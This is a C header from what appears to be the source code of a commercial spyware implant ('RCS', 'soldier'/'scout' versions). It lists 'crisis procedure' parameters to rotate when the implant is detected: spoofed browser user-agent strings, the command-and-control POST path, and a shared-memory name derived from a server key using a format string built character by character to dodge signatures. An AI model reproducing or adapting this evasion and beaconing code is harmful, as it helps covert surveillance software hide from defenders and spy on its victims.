//------------------------------------------------------------------------------------------------ // PARAMETERS TO BE CHANGED IN CASE OF CRISIS //------------------------------------------------------------------------------------------------ #ifndef _VERSION_H_ #define _VERSION_H_ #include // ------------- PUNTO 1 CRISIS PROCEDURE - BUILD VERSION ------ #define BUILD_VERSION 1009 /* ------------- PUNTO 2 CRISIS PROCEDURE - BATCH_FILE_NAME ---------------- // nothing to do in soldier version */ /* ------------- PUNTO 3a CRISIS PROCEDURE - USER_AGENT ---------------- USER-AGENT HISTORY Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.25) Gecko/20111212 Firefox/3.6.25 ( .NET CLR 3.5.30729) (RCS 9.4) Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" (RCS 9.5) Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) */ #define USER_AGENT L"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0" //WinHTTPSetup in file winhttp.cpp /* ------------- PUNTO 3b CRISIS PROCEDURE - USER_AGENT SOCIAL --------- SOCIAL_USER_AGENT HISTORY Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) (RCS 9.4) Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0 (RcS 9.5) Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 */ #define SOCIAL_USER_AGENT L"Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" //SocialWinHttpSetutp in file social.cpp /* ------------- PUNTO 4 CRISIS PROCEDURE - USER_AGENT SYNC ----------- SYNC_URL HISTORY /about.php (RCS 9.4) /index.asp (RCS 9.5) /home.php */ #define POST_PAGE L"/rss.asp" //WinHTTPSetup in file winhttp.cpp /* ------------- PUNTO 5 CRISIS PROCEDURE - FAKE_MESSAGES ---------------- // nothing to do in soldier version */ /* ------------- PUNTO 6 CRISIS PROCEDURE - EXPORTED SYMBOL NAME ---------------- // nothing to do in soldier version */ //function prototype LPWSTR GetScoutSharedMemoryName(); #ifdef _GLOBAL_VERSION_FUNCTIONS_ /* ------------- PUNTO 7 CRISIS PROCEDURE - SHARED MEMORY ------------- SHARED MEMORY HISTORY pServerKey[6], pServerKey[5], pServerKey[4], pServerKey[3], pServerKey[2], pServerKey[1], pServerKey[0]); (RCS 9.4) pServerKey[5], pServerKey[6], pServerKey[5], pServerKey[3], pServerKey[4], pServerKey[2], pServerKey[1], pServerKey[0], pServerKey[2]); (RCS 9.5) pServerKey[4], pServerKey[2], pServerKey[5], pServerKey[3], pServerKey[4], pServerKey[1], pServerKey[0], pServerKey[3] */ LPWSTR GetScoutSharedMemoryName() { WCHAR strFormat[] = { L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'%', L'0', L'2', L'X', L'\0' }; LPWSTR pName = (LPWSTR)zalloc(20 * sizeof(WCHAR)); _snwprintf_s(pName, 20, _TRUNCATE, strFormat, pServerKey[2], pServerKey[4], pServerKey[3], pServerKey[5], pServerKey[4], pServerKey[0], pServerKey[1]); return pName; } #endif #endif //------------------------------------------------------------------------------------------------ .